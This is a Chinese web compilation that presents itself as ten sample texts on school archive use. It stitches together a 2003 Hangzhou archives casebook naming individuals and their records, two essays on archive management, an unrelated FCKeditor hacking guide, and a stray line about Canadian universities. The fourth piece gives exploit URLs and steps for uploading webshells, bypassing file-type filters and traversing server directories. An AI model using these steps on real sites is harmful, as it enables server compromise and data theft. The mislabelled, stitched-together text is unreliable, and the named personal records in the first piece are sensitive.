学校档案利用实例

学校档案利用实例（精选10篇）

1.学校档案利用实例 篇一

杭州市档案馆二00三档案利用效果实例选编

一、编史修志、专题研究„„„„„„„„„„„„„„1

二、落实工龄„„„„„„„„„„„„„„„„„„„2

三、特殊工种工龄„„„„„„„„„„„„„„„„„7

四、先进待遇„„„„„„„„„„„„„„„„„„„8

五、干部待遇„„„„„„„„„·„„„„„„„„„9

六、户口进杭„„„„„„„„„„„„„„„„„„„l 0

七、补办结婚证„„„„„„„„„„„„„„„„„„11

八、养老金款„„„„„„„„„„„„„„„„„„„1 2

九、报考职称„„„„„„„„„„„„„„„„„„„1 3

十、房屋产权„„„„„„„„„„„„„„„„„„„1 3

十一、宣传百年老店、申报老字号店„„„„„„„„„1

3一、编史修志、专题研究

2003年1月6日至8日，浙江大学中国艺术研究所徐清在杭州市档案馆的杭州市园文局和杭州市文化局全宗中查到了有关西泠印社在解放初期移交给杭州市人民政府一些实物的清册，以及有关西泠印社的历史沿革等材料，给予复印，为其研究“西泠印社”和编写《西泠印社》提供了素材。

2003年1月至12月，中共杭州市委党史研究室为编写研究杭州市“文化大革命”等时期党的发展史，到杭州市档案馆，在中共杭州市委、市委宣传部、市委“揭批”办、杭州市人民委员会、杭州市人民政府、杭州市革命委员会、杭州市“造反派组织”档案汇集等全宗中查到并复制了大量有关材料，为其编写研究提供了素材。

2003年4月18日，杭州张小泉集团有限公司章新发、童亮等到杭州市档案馆，在杭州市工商行政管理局全宗中查到了1950年l 0月的工商登记、1951年4月中共私营企业局给张小泉近记的商标及函等材料，给予复印并盖章，为杭州张小泉集团有限公司编写厂史及今后的工作等提供了依据。

2003年8月l 5日，杭州市余杭区农业局卓冠群为编写余杭农业志，在杭州市人大志1958年召开杭州市第三届人民代表大会的代表名单中有塘栖农场吴金太，而当时该农场没有吴金太只有胡金太，为核实此事，卓冠群来到杭州市档案馆，在杭州市人民委员会全宗中核实是胡金太，给予复印并盖章，为其编余杭农业志提供了翔实的材料。

2003年10月至l 2月，中共杭州市委组织部、宣传部、统战部，市经济委员会、市发展计划委员会、市建设委员会、市劳动局、市农业局、市法院、市检察院、市科技局、杭州日报社、杭州图书馆等单位为编写本单位的党史，到杭州市档案馆查到并复制了大量有关材料，为编史提供了素材。

二、落实工龄

2003年1月14日，杭州制氧集团有限公司张培坤等人为落实杭州市政府发文1953年以前参加工作的企业退休人员可以增加退休金，原杭州制氧机厂退休职工陈根源本人说1953年以前参加工作的，但人事档案中记载的是1953年以后。张培坤等人到杭州市档案馆

在杭州制氧机厂全宗的1951年9月工资册中查到了陈根源的姓名、工资额材料，说明陈是1951年9月以前参加工作的，给予复印并盖章，为解决陈根源的工龄及增加退休金问题提供了依据。

2003年1月15日，杭州漂亮人生服饰有限公司毛利鸿为解决单位整理人事档案时，发现胡乃玉的人事档案中缺少参加工作时间的材料，到杭州市档案馆在杭州云裳丝织厂全宗1975年行政、劳动调配介绍信中查到了胡乃玉从杭州工业学校分配到杭州云裳丝织厂的介绍信，给予复印并盖章，为其填补了档案，明确了工龄。

2003年1月20日，原中国人民银行杭州中心支行退休职工唐秀珍1949年至1956年在杭州荣丰源布厂的私营企业里工作，直至1956年公私合营，这些人事档案中有记载，但过去这段时间不能算工龄，工龄从1956年公私合营后才算起，现在政府有文件只要能金到当时有这个私营个业存在，而且又公私合营了的材料就能算工龄。杭州市又有文件规定1 953年底以前参加工作的企业退休人员可以增加退休金。中国人民银行杭州中心支行吴济清等到杭州市档案馆，在杭州市工商行政管理局、杭州市工业专业公司、中共杭州市委统战部等全宗中查到了当时杭州荣丰源布厂的工商登记及沿革为东南棉织厂、1956年公私合营等材料，给予复印并盖章，为解决唐秀珍的工龄及增加退休金问题提供了依据。

2003年1月23日，原杭州漂染厂退休职工傅惠芳1949年至1956年在私营企业杭州兴『】十祥布厂工作，直至1956年公私合营，这些人事档案中有记载，但过去工龄从1 956年公私合营后才能算，现在政府有文件可以算了，但要查到当时有这个私营企业存在，而且又公私合营了的材料才能算，市里又有文件1953年底以前参加工作的企业退休人员可以增加退休金。傅惠芳本人来到杭州市档案馆，在杭州市工商行政管理局、市委统战部、市工业专业公司、市增产节约委员会等全宗中查到了当时杭州兴叶祥布厂的工商登记及沿革成东南棉织厂、1956年公私合营等材料，给予复印并盖章，为解决傅惠芳的工龄及增加退休金问题提供了依据。

2003年2月8日即大年初八，春节放假后第一天上班时，杭州市劳动和社会保障局的朱晓燕为了工作打来电话，说要查中发[1979]84号“关于把原工商业者中的劳动者区别出来问题的请示”，给予复印并传真过去。为其今后的工作中特别是确定从解放前过来的工商业者中的劳动者的工龄问题提供了依据。

2003年2月11日，章森棠是从上海调到杭州搪瓷工作的，现在工龄是进杭州搪瓷厂的时间算起，在上海的一段时间没有算，在杭州搪瓷厂全宗查到，章是1 954年2月进上海益新机器厂的，给予复印并盖章，为解决章森棠的工龄问题提供了依据。

2003年2月27日，原杭州水泥厂退休职工许洪财、赵阿义1949年至1956年在私营企业钱大兴第三炼灰厂工作，直至1 956年公私合营，这些个人档案中有记载，但过去工龄都是从l 956年公私合营后才算起，现在政府有文件只要能找到当时有这个私营企业存在，而且又公私合营了的材料就能算工龄，市里又有文件1953年底以前参加工作的企业退休人员可以增加退休金。许洪财、赵阿义到杭州市档案馆，在中共杭州市委、市工业局、市增产节约委员会、市轻工业局等全宗中查到当时钱大兴第三炼灰厂的工商登记及并入杭州水泥厂、1956年公私合营等材料，给予复印并盖章，为解决许洪财、赵阿义的工龄及增加退休金问题，提供了依据。

2003年3月4日，姚忠民原名姚阿狗，1949年至1 956年在杭州王泰兴棕棚店工作，后王泰兴棕棚店等成立杭州棕棚第一合作社，这些简历人事档案中有记载，但过去工龄是从合作社开始算起，现在政府有文件只要能查到当时有这个私营企业存在，而且又公私合营或者合作化了的材料就能算工龄，市里又有文件1953年底以前参加工作的企业退休人员可以增加退休金。姚忠民到杭州市档案馆在市增产节约委员会、市手工业局、市委手工业部等

全宗中查到了王泰兴棕棚店、杭州棕棚第一合作社及姚阿狗1953年在社内任共青团支部副书记的材料，给予复印并盖章，为解决其的工龄及增加退休金问题提供了依据。

2003年3月1 2目，杭州照明电器有限公司因为要改制，单位管人事的发现谭红卫的档案中缺少招工的材料，谭红卫本人到杭州市档案馆，在杭州高级中学的学籍档案中查到了1970年初中毕业分配到杭州市轻工第二机械厂的材料，给予复印并盖章，为确定其参加工作的时间，提供了依据。

2003年3月17日，杭州照明电器有限公司因为要改制，单位管人事的发现徐俊之的档案中缺少调入本厂的材料，徐俊之本人到杭州市档案馆，在杭州灯泡厂全宗中查到了1962年调入本厂的介绍信，给予复印并盖章，为解决其工龄问题提供了依据。

2003年3月17日，杭州照明电器有限公司因为要改制，单位管人事的发现袁正昌的档案中缺少从部队服役回来进厂的材料，袁正昌本人来到杭州市档案馆，在杭州灯泡厂全宗中查到了1973年从部队复员安排进厂的介绍信，给予复印并盖章，为解决其工龄问题提供了依据。

2003年3月18日，杭州饮食服务公司戴华为核实本单位退休职工谢月华的退休时间，到杭州市档案馆，在杭州环湖大酒店的工资单中证实应是1 989年2月退休的，而不是原先定为1 988年2月，是单位给其弄错了，相差一一年，给予复印并盖章，为解决谢月华的工龄问题，提供了依据。

2003年3月27日，杭州重型机械厂韩焕正，1949年至1955年,在杭州大昌翻砂厂私营企业里工作，直至该厂公私合营，这些人事档案中有记载，但过去这段时间不能算工龄，工龄只能从1955年公私合营后算起，现在政府有文件只要能查到当时有这私营企业存在，而且又公私合营了的材料就能算工龄。市里又有文件1953年底以前参加工作的企业退休人员可以增加退休金。韩焕正本人到杭州市档案馆，在市增产节约委员会、市T商行政管理局、市工商联合会、市委统战部、市工业局等全宗中查到了1950年杭州大昌翻砂厂的公商登记、1955年公私合营、后并入杭州翻砂厂、1958年改名为杭州铸锻厂等材料，给予复印并盖章，为其解决工龄及增加退休金问题提供了依据。

2003年6月10曰，杭州制氧机有限公司王勇力、厉灿君为了本单位退休职工钟大水的工龄问题，来到杭州市档案馆，在杭州制氧机厂全宗中查到了“杭州制氧机厂1961年对钟大水开除出厂劳动教养处分决定”，决定中记载着钟大水1949年6月在嵊县参加匪军9个月，1950年解放入伍，1955年12月进杭州制氧机厂。给予复印并盖章。钟大水现在已平反，但工龄是从劳动教养释放后算起的，本人要求从1950年解放入伍时算起。此材料可以为杭州制氧机有限公司解决钟大水的工龄问题，提供了依据。

2003年6月25日，原杭州市第二机器厂退休职工娄钧康1953年进私营张川页泰木作店工作，直至该店合作化后，这些人事档案中都有记载，但过去这段时间不能算工龄，工龄是从1956年合作化算起。现在政府有文件只要能查到当时有这个私营店存在，而且又合作化了退休人员可以增加退休金。娄钧康到杭州市档案馆，在市增产节约委员会、市工商行政管理局、市委手工业部等全宗中查到了张顺泰木作店当时的工商登记、1956年并入建中木器生产合作社等材料，给予复印并盖章，为解决其工龄及增加退休金问题，提供了依据。

三、特殊工种工龄

2003年1月7日，杭州管道煤气公司煤气厂刘树彬原在杭州胜利造船厂从1968年至1990年连续做了二十多年的电焊工，但人事档案中无记载，为解决特殊工种的待遇问题，到杭州市档案馆，在该厂的工资单中查到了自己的姓名及记载着特殊工种的材料，给予复印并盖章，为解决其提前退休及福利待遇问题，提供了依据。

2003年2月13曰，杭州照相器材厂的周立阳为解决特殊工种的待遇问题，到杭州市档案馆，在该单位的工资名册中查到了自己的姓名及记载着特殊工种的材料，给予复印并盖章，为解决其提前退休及福利待遇问题，提供了依据。

2003年3月l1日，浙江信联铜铁有限公司严光明为查特殊工种及工龄，到杭州市档案馆，在杭州胜利造膨尊工资名册中查到了严光明的有害有毒工种及工龄的材料，给予复印并盖章，为解决其退休及福利待遇问题提供了依据。

2003年3月13日，杭州硫酸厂的罗小平为解决特殊工种的待遇问题，到杭州市档案馆，在该厂的工资名册中查到了自己的姓名及记载着特殊工种的材料，给予复印并盖章，为解决其提前退休及福利待遇问题提供了依据。

2003年4月1曰，杭州照明电器有限公司由于改制，单位管人事的发现孙国炯的档案中缺少进厂及特殊工种的材料，其本人来到杭州市档案馆，在杭州灯泡厂全宗中查到了1965年进厂、特殊工种及工龄的材料，给予复印并盖章，为其解决提前退休及福利问题，提供了依据。

2003年4月14日，杭州港杭实业公司周巧英为周平贵的特殊工种及工龄问题，到杭州市档案馆，在杭州内河航运公司全宗中查到了周平贵的进厂时间，1969年从部队退伍后再次进厂及定为电焊11级等材料，给予复印并盖章，为解决周平贵的特殊工种待遇问题提供了依据。

2003年5月6日，杭州大厦改制，王渭根为证明自己做过特殊工种到杭州市档案馆，在杭州胜利造船厂全宗的工资单中查到了特殊工种及工龄的材料，给予复印并盖章，为其解决提前退休及福利待遇问题，提供了依据。

2003年5月8日，杭州煤气公司金开耀等为证明自己做过特殊工种，到杭州市档案馆，在杭州胜利造船厂全宗的工资单中查到了各自的特殊工种及工龄的材料，给予复印并盖章，为解决提前退休及福利待遇等问题，提供了依据。

四、先进待遇

2003年2月18曰，杭州钢业集团公司李云山在《杭州市历届先进生产(工作)者名单》(1 955年一1965年)中看到了1 962有父亲李福元的名字，就问父亲有否被评为市级先进过，父亲含糊不清，就来到杭州市档案馆，在市总工会全宗中查到李福元1962是市级先进，工作单位是浙江省工业设备安装公司，而李云山之父李福元当时是上城运输公司系同姓同名，为解其疑团提供了依据。杭州市先进生产者，但当时发的奖状遗失了，在杭州市总工会编的《杭州市历届先进生产(工作)者名单》一书中没有自己的名字，为了享受市级先进待遇，来到杭州市档案馆，在杭州市手工业局全宗中查到了1962杭州市手工业系统先进生产(工作)者名单内有杭州火星车胎厂叶继参的名字，给予复印并盖章，为其享受市级先进待遇，提供了依据。

2003年11月1 3日，杭州云裳丝织厂来鑫发1 965被评为杭州市五好职工，但当时发的证书遗失了，在杭州市总工会编的《杭州市历届先进生产(工作)者名单》一书第433页中有都锦生丝织厂来鑫发的名字，为了享受先进待遇，来到杭州市档案馆，在杭州市总工会“1965杭州市五好职工登记表”中清楚地记载着来鑫发的材剃．，给予复印并盖章，为其享受市级先进待遇，提供了依据。

五、干部待遇

2003年2月26日，江山市教育局朱江才、郑一民为确定本单位

干部黄雪芳的入伍时间，来到杭州市档案馆，在中共杭州市委组织部全宗中查到了黄雪芳1949年9月4日从南京军管会调到杭州市人民保育院工作，说明其入伍时间还在此前，给予复印并盖章，为解决黄雪芳的离休问题提供了依据。

2003年3月24日，杭州第二毛织厂王尚柱等三人为江平享受八级干部待遇，到杭州市档案馆，在市委、市政府全宗中查到了江平在1959年任杭州第一棉纺织印染厂副书记、1961年任杭州第一棉纺织印染厂监委书记、1963年任杭州第一棉纺织印染厂副厂长等职的文件，给予复印，为解决江平享受厂级干部福利待遇问题提供了依据。

2003年4月29日，杭州第二毛纺织厂徐秀风等，在杭州市纺织工业局全宗中查到了陈维俊1988年任杭州第二毛纺织厂总工程师的材料，给予复印，为解决陈维俊享受厂级干部福利待遇问题提供了依据。

2003年6月4日，余杭区瓶窑镇政府姜全和，在杭州市笕桥区人民政府全宗中查到本人1953年任杭州市郊区办事处秘书的材料，给予复印并盖章，为解决其的入伍时间及干部身份等待遇问题，提供了依据。

2003年6月12日，杭州丝绸印染联合厂离退休服务中心付红等到杭州市档案馆，在杭州丝绸印染联合厂全宗中查到了张定义1 997年仟该厂劳动工资部主任职务的材料，给予复印并盖章，为确定张定义化房丽彤问题题，提供了依据。

六、户口进杭

2003年3月1 0日，现住杭州市古荡东区46—1—303室的李英

英是富阳农村的，1967年与杭州市的施金水结婚，但由于种种原因，李英英的户口一直在家乡，现在政策许可了，但结婚证遗失了。李英英到杭州市档案馆，在上城区小营巷街道办事处的婚姻档案中查到了1967年施金水与李英英的结婚登记表等材料，给予复印并盖章，为解决其户口迁入杭州市提供了依据之一。

2003年4月1日，胡素娥原是杭州市知识青年支边到内蒙建设兵团，现在夫妻俩都在天津市汽车运输四厂工作，女儿大学毕业想到

杭州外公外婆这里，为证明自己是杭州知青支边的，到杭州市档案馆，在杭州高级中学学籍档案中查到了1 971年7月初中毕业后去内蒙建设兵团的材料，给予复印并盖章，为其解决女儿户口迁入杭州问题，提供了依据之一。

2003年4月29日，徐栋华1973年与绍兴农村的林菊英登记结婚，但林的户口一直没迁到杭州来，小孩的户口也在绍兴，现在想把小孩户口迁到杭州来，但结婚证遗失了，到杭州市档案馆，在小营巷街道办事处全宗中查到当U寸徐栋华与林菊英的结婚登记表，给予复印并盖章，为其子女户口进杭州市区提供了依据之一。

七、补办结婚证’

2003年2月20日，杭州市江干区四季青镇卫荣福，由于遗失结婚证书，为了分享村里的集体资金补办结婚证，到杭州市档案馆，在四季青乡政府的婚姻档案中查到了1973年卫荣福与吴爱珍的结婚登记等材料，给予复印并盖章，为其补办结婚证及分享村里集体资金提供了依据。

2003年2月20日，杭州市江干区四季青镇朱顺根，由于遗失结婚证书，为了分享村里的集体资金要补办结婚证，到杭州市档案馆，在四季青政府的婚姻档案中查到了1968年朱顺根与杜林美的结婚登记等材料，给予复印并盖章，为其补办结婚证及分享村里的集体资金提供了依据。

2003年3月5日，杭州市江干区四季青水湘村沈文松，由于遗失结婚证，为了分享村里的集体资金补办结婚证，来到杭州市档案馆，在四季青乡政府婚姻档案中查到了沈文松与蒋毛毛的结婚登记表，给予复印并盖章，为其补办结婚证及分享村里的集体资金提供了依据。

2003年3月1 4日，杭州市三堡新城灯具市场高军民，带着户口簿、父母及本人的身份证，说自己是高小狗的儿子，由于父母结婚证遗失，为了分享村里的集体资金要查父母的结

婚登记材料，到杭州市档案馆，在江干区四季青乡政府婚姻档案，查到了1 972年高小狗与典阿从的结婚鸶记表等材料，给，复印并篇章，为解决其父埘补办结婚证及分享村里的集体资金提供了依据。

2003年3月19日，杭州市江干区四季青水湘村张志洪，由于结婚证遗失，为了分享村里的集体资金补办结婚证，到杭州市档案馆，在四季青乡政府的婚姻档案中查到了1967年张志洪与钟妙琴的结婚登记等材料，给予复印并盖章，为其补办结婚证及分享村里的集体资金，提供了依据。

八、养老金款

2003年1月13日，浙江省德清县龙山乡龙胜村前埠姜双红，在杭州红雷丝织厂移交给杭州市档案馆的会计档案中查到了杭州市社险办打给杭州红雷丝织厂的统筹费单，给予复印并盖章，单中有姜双红的合同工一次性养老金费，因为这笔款(没签名)姜双红没有拿到过，是单位收下的，从1 985年6月至1996年5月计人民币1 0563．57元，为其取回应得的款项提供了依据。

九、报考职称

2003年6月1 3日，杭州喜得宝丝绸有限公司阮玲玲，由于毕业证书遗失，到杭州市档案馆，在杭州高级中学的学籍档案中查到了974年高中毕业材料，给予复印并盖章，为其考财会中级职称提供了文凭依据。

十、房屋产权

2003年6月17 日、23日，杭州市园文局西湖南线管理处鲁企娣，为净寺内办公房屋的纠纷，到杭州市档案馆，在杭州市人民委员会、市园文局、市文化局等全宗中查到了市人委1963年办秘字551号“关于实行城市房屋统一管理的规定”等材料，给予复印并盖章，内有风景区的寺庙房屋和公共游览房屋仍委托园林局管理的内容，为解决净寺内办公房的房屋纠纷问题，提供了依据。

十一、宣传百年老店、申报老字号店

2003年4月24日，中央电视台《走遍中国》栏日组，专门来杭州市档案馆拍摄“百年老店一张小泉”电视片，后在中央四套《走遍中国》栏目中播出过。

2003年8月8曰，郑耀华到杭州市档案馆，在民国时期的杭州市商会同业公会和中华人民共和国时期的杭州市工商行政管理局等全宗中查到了潘永泰棉花店原先是在江苏省吴江县县城，杭州市开设是1946年等材料，给予复印并盖章，据其称50年以上就可以申报“老字号”店了，为其申报“老字号”店，提供了依据。

2.学校档案利用实例 篇二

档案利用, 通俗的说, 是利用者以阅览、复制、摘录等方式使用档案的活动。而档案利用的过程是档案利用者通过档案部门查找利用档案信息实现档案价值。

下面, 我们来简单谈一下关于档案利用的知识。

(一) 档案利用包括以下的主要内容与条件

主要内容:根据利用者需要及时提供档案、资料供利用者阅览、复制和摘录。基础条件:档案档案信息资源建设;建立档案检索体系;建立相关管理制度;配备相关设施;熟悉馆 (室) 藏档案、资料情况;了解档案利用范围的规定;开展档案与档案工作宣传等。

(二) 档案利用的分类

档案利用的工作可以区分为提供档案利用和利用档案。其中 (1) 提供档案利用是档案管理部门及其人员直接提供档案, 为了解查询问题的利用者提供服务; (2) 利用档案是利用者为了研究和解决问题, 以阅览、复制、摘录等形式使用档案。

(三) 档案利用的要求

这又包括了 (1) 依法开展利用工作。 (2) 主动、及时开展利用工作。 (3) 不断完善档案服务方式和手段。 (4) 掌握本单位近期的重点工作、重大活动, 据此可以开展档案利用。

可以说, 档案利用在近几年来为社会发展、国家建设、人民群众的根本利益做出了重要的贡献。档案利用已经从冷门行业, 逐渐成为现代化建设不可或缺的力量。而且我们党中央也提出档案三大体系建设, 可以看出国家对于档案的重视。要加强学校的管理力度, 最重要的是要加强档案利用的管理力度, 因为在学校的管理中, 档案利用起着非常重要的作用。就学校本身而言, 档案工作正被逐渐的重视起来, 把档案统一集中管理起来, 学校档案的集中统一管理也体现了一所学校的规模、性质、成效, 以及学校领导的治校能力、管理方法。而档案室作为一所学校的心脏, 发挥着带动一切、服务于一切的作用。

文书档案、教师业务档案以及学生学籍档案、设备、基建档案在学校工作中都具有重要作用。

这些集中存放在学校档案室的资料, 都适时适地地为学校领导决策提供着依据, 为教师进行教学改革提供着信息交流, 为学校进一步实行高水平的科学管理发挥着作用。

随着学校办学规模的扩大, 办学的层次和水平的不断提高, 尤其是面临市场经济以及信息社会, 特别是知识经济的大潮以及高新技术的应用, 档案利用都面临这挑战, 而且在过去计划经济基础上的长期经验式管理, 手工操作以及科技含量不高等一系列的体制、模式、理论以及实践方面就有许多不相适应之处, 也严重影响了档案管理的工作进一步的发展, 档案利用的建设作为学校管理必不可少的环节和方面, 它是教育事业发展的基础。因此, 为加大档案的整改力度, 增加档案的投入, 改善档案的设施, 提高档案人员的素质, 档案利用的工作对学校的科学管理和决策起到了良好的作用。我们要求做到的主要是以下两个方面。

二、加大档案案卷的收集和整理工作

这要做到的是嘴勤、腿勤、手勤以及心勤这“四勤”。“嘴勤”也就是谈档案利用的意义、规定和方法;“腿勤”就是要主动送表格以及催要材料, 使各类档案的材料及时上交到档案室;“手勤”就是要及时的整理以及及时的分类;“心勤”就是要勤于用脑, 会想方法, 讲究效率以及保证效率。在收集材料的时候, 正是立足一个“勤”字, 使许多重要的信息资源保留下来;同时在“全”字上下功夫, 只要与工作、与学校、与教职工的切身利益有关的情况都要认真做记录和摘要, 这个除了文字外, 我们还要充分利用了录像、录音以及摄像等手段。

三、提高档案利用管理人员的素质

随着社会的发展, 科学技术的进步, 档案工作的任务、工作环境、服务对象以及管理方式都发生着变化, 现代技术也广泛应用于档案的工作中, 这些无疑需要人去操作以及管理。所以说, 提高档案的工作者素质, 是推动档案事业的关键。作为学校, 一方面要严把人才入口关, 注意引进、招聘一些有专业的技术、技能的人才充实档案队伍;另一方面面对目前档案管理人员的知识老化以及新技术知识贫乏的状况, 学校在注重使用性、拓展知识面、强化因材施教以及提高外语水平等方面, 从而全面的加强档案人员的整体素质。

总而言之, 对于学校的整体管理而言, 档案利用的管理, 尤其是文件资料的的收集整理, 立卷归档排列检索利用等档案管理工作等, 在学校的管理工作中就显得尤为重要。因此, 加强档案利用以及档案管理的工作对于整个学校的管理是非常有必要的!

摘要：所谓的档案利用, 是指档案利用者通过档案利用的工作系统进行查找、利用档案信息, 满足其利用需求的行为过程, 这也是档案信息资源潜在的利用价值得以实现的过程。可以说, 档案利用是档案整个过程中最终环节, 国家政府, 以及档案馆工作人员, 都为档案所作的一切努力, 包括档案安全保护最终目标就是能服务于现代化建设, 服务于国家、服务于人民群众。

关键词：学校,档案利用,重要性

参考文献

[1]姚青.论档案工作在学校管理中的作用.济宁学院学报, 2008年第6期.

3.学校档案利用实例 篇三

【关键词】档案信息化 档案信息资源 开发利用

一、网络信息化对档案信息资源开发利用的影响

档案是重要的信息资源之一。计算机网络的普及，必然对我国的档案工作产生重大影响，并将改变档案工作的方式、方法。尤其对档案的开发利用来说，计算机网络无疑为档案部门和需求者开发利用档案信息资源开创了一条理想途径。网络信息化对档案信息资源开发利用有着深远的影响。一方面，网络信息化技术为档案信息开发提供了技术支持。计算机技术运用于档案信息资源管理，实现了档案信息资源数字化，进而实现了档案信息资源的集中化，提高了整个社会对档案信息资源的利用程度。另一方面，档案信息化要求加大对档案信息资源的开发利用。当前，随着信息技术、计算机技术、网络技术的蓬勃发展，档案信息载体的形态正在发生变化，档案信息正在向数字化发展，档案形成量之大，覆盖面之广，是前所未有的。

二、档案信息化环境下开发利用档案信息资源的建议

档案信息资源的开发利用是一项长期的、紧迫的、艰巨的工作任务。开发档案信息，就是挖掘、加工档案信息资源，以更好地为利用者服务。在信息化实践中，档案部门是档案信息资源的主要来源地，建立信息库、信息网络，加快数字化、数据库化和网络化进程，是提高档案信息能力的主要途径。要积极探索新的途径，寻找新的角度，全方位、多层次地开发档案信息资源，用創新性思维加大信息资源整合开发利用力度。

（一）开拓思路，创新观念，加强档案信息资源的开发利用

档案的作用和价值体现在利用上。为社会公众提供有效的信息服务是信息时代的重要目标之一，因此，必须建立一套切实可行的信息服务机制。在服务方法上，需要变被动的等待服务为主动的上门服务，把档案信息主动、及时、准确地送到用户手中。在档案信息资源开发与档案用户之间，建立起一种主动适应、自我调节的机制，从而为档案用户提供全方位的服务。在档案信息资源开发与档案服务范围上，要由内向转为内外结合，打破传统的封闭式的观念，正确处理好开发利用和保密之间的关系，提高档案的实用性和使用价值。此外，在服务手段上，要逐步实现计算机联网，采用以计算机网络为核心的现代信息处理技术开发档案信息资源。

（二）加强档案工作标准化建设，为档案资源的开发做好准备

档案工作标准化是档案管理现代化的基础，是实现档案管理自动化的前提，是提高档案工作效率，节省人力、物力、财力的有效措施，也是实现档案信息资源共享的重要保证；它直接影响着档案工作信息化的步伐。在信息资源不断发展、人们对信息资源的需求越来越广泛的背景下，档案工作要实现规范化、标准化、科学化的目标管理，必须要严格按照国家标准搞好业务建设，更新观念，打破传统的管理模式，着力从思想上提高认识，增强规范化、标准化意识。

（三）大力加强档案信息资源深层次挖掘工作，建立内容丰富的档案信息数据库

数据库是档案信息资源共享体系建设的核心。建立数据库是网络信息资源组织的重要方式，这种方式就是将要处理的数据经合理分类和规范化处理之后，以记录的形式存储于计算机中。通过完善档案目录中心以及全文档案信息资源数据库建设，逐步实现各部门档案信息数字化。用数据库技术组织信息资源可极大地提高信息的有序性、完整性、可理解性和安全性。数据库技术与网络技术的融合极大地方便了档案信息资源的开发利用，提高了效率。

（四）丰富电子档案馆藏，调整馆藏档案结构，加快数字档案馆建设

档案馆应加大馆藏建设力度，优化和丰富馆藏，努力提高档案信息数据库的质量。数字档案馆通过馆藏档案数字化和电子文件的接收，整合各种档案信息资源，建立各级各类档案数据库，构筑一个多层次、分布式、规范化的档案数据库群，并通过多种信息网络平台实现档案信息资源共享，让用户可以不受时间、空间、数量的限制，迅速、准确地从网上获取各种档案信息资源。

档案利用工作的反馈信息和综合分析，是加大档案信息资源开发力度，提高开发质量的重要措施。通过有关信息的收集、汇总、分析和加工，及时地了解与掌握社会需求，及时地开发档案信息资源，尽可能全面、迅速、准确地把有效信息传输给社会，既是大力开发档案信息资源的有效形式，也是广泛地、系统地提供档案资源为社会各方面服务的一项重要工作。

（五）加强档案信息人才培养

现代化技术在档案部门的应用和普及，对档案工作者也提出了越来越高的要求。档案工作者要掌握熟练的专业知识，不断提高现代化管理的技能，充分发挥信息管理者、资源开发者的作用，不断提高自身素质，科学管理与开发档案资源，提高档案信息资源的使用效率与效益。因此，要重视档案人员的继续教育工作，普及现代档案科学技术知识，提高档案工作者的素质，培养具有专业知识、档案知识、计算机知识的复合型人才和信息专家，以满足档案事业高水平持续发展的需要。

三、结语

4.学校档案利用实例 篇四

FCKeditor编辑器页/查看编辑器版本/查看文件上传路径

FCKeditor编辑器页

FCKeditor/_samples/default.html

查看编辑器版本

FCKeditor/_whatsnew.html

查看文件上传路径

fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

XML页面中第二行 “url=/xxx”的部分就是默认基准上传路径

Note:[Hell1]截至02月15日最新版本为FCKeditor v2.6.6

[Hell2]记得修改其中两处asp为FCKeditor实际使用的脚本语言

FCKeditor被动限制策略所导致的过滤不严问题

影响版本: FCKeditor x.x <= FCKeditor v2.4.3

脆弱描述：

FCKeditor v2.4.3中File类别默认拒绝上传类型：html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|

pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm

Fckeditor 2.0 <= 2.2允许上传asa、cer、php2、php4、inc、pwml、pht后缀的文件

上传后 它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension为后缀

直接导致在win下在上传文件后面加个.来突破[未测试]

而在apache下，因为“Apache文件名解析缺陷漏洞”也可以利用之，详见“附录A”

另建议其他上传漏洞中定义TYPE变量时使用File类别来上传文件,根据FCKeditor的代码，其限制最为狭隘，

攻击利用:

允许其他任何后缀上传

Note:[Hell1]原作：superhei.blogbus.com/logs/2006/02/1916091.html

利用2003路径解析漏洞上传网马

影响版本: 附录B

脆弱描述：

利用2003系统路径解析漏洞的原理，创建类似“bin.asp”如此一般的目录，再在此目录中上传文件即可被脚本解释器以相应脚本权限执行。

攻击利用:

fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp

FCKeditor PHP上传任意文件漏洞

影响版本: FCKeditor 2.2 <= FCKeditor 2.4.2

脆弱描述：

FCKeditor在处理文件上传时存在输入验证错误，远程攻击可以利用此漏洞上传任意文件，

在通过editor/filemanager/upload/php/upload.php上传文件时攻击者可以通过为Type参数定义无效的值导致上传任意脚本。

成功攻击要求config.php配置文件中启用文件上传，而默认是禁用的。攻击利用: (请修改action字段为指定网址)：

FCKeditor 《=2.4.2 for php.html

Note:如想尝试v2.2版漏洞，则修改Type=任意值 即可，但注意，如果换回使用Media则必须大写首字母M,否则LINUX下，FCKeditor会对文件目录进行文件名校验，不会上传成功的。

TYPE自定义变量任意上传文件漏洞

影响版本: 较早版本

脆弱描述：

通过自定义Type变量的参数，可以创建或上传文件到指定的目录中去，且没有上传文件格式的限制。

攻击利用: /FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.asp

打开这个地址就可以上传任何类型的文件了，Shell上传到的默认位置是:

www.heimian.com/UserFiles/all/1.asp

“Type=all” 这个变量是自定义的,在这里创建了all这个目录,而且新的目录没有上传文件格式的限制.

比如输入:

/FCKeditor/editor/filemanager/browser/default/browser.html?Type=../&Connector=connectors/asp/connector.asp

网马就可以传到网站的根目录下.

Note:如找不到默认上传文件夹可检查此文件: fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor 新闻组件遍历目录漏洞

影响版本:aspx版FCKeditor，其余版本未测试

脆弱描述：如何获得webshell请参考上文“TYPE自定义变量任意上传文件漏洞”

攻击利用:

修改CurrentFolder参数使用 ../../来进入不同的目录

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp

根据返回的XML信息可以查看网站所有的目录。

/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F

FCKeditor中webshell的其他上传方式

5.学校档案利用实例 篇五

加拿大目前有大概40多间大学以及大概200间的college(这些数目已经包括了公立和私立)

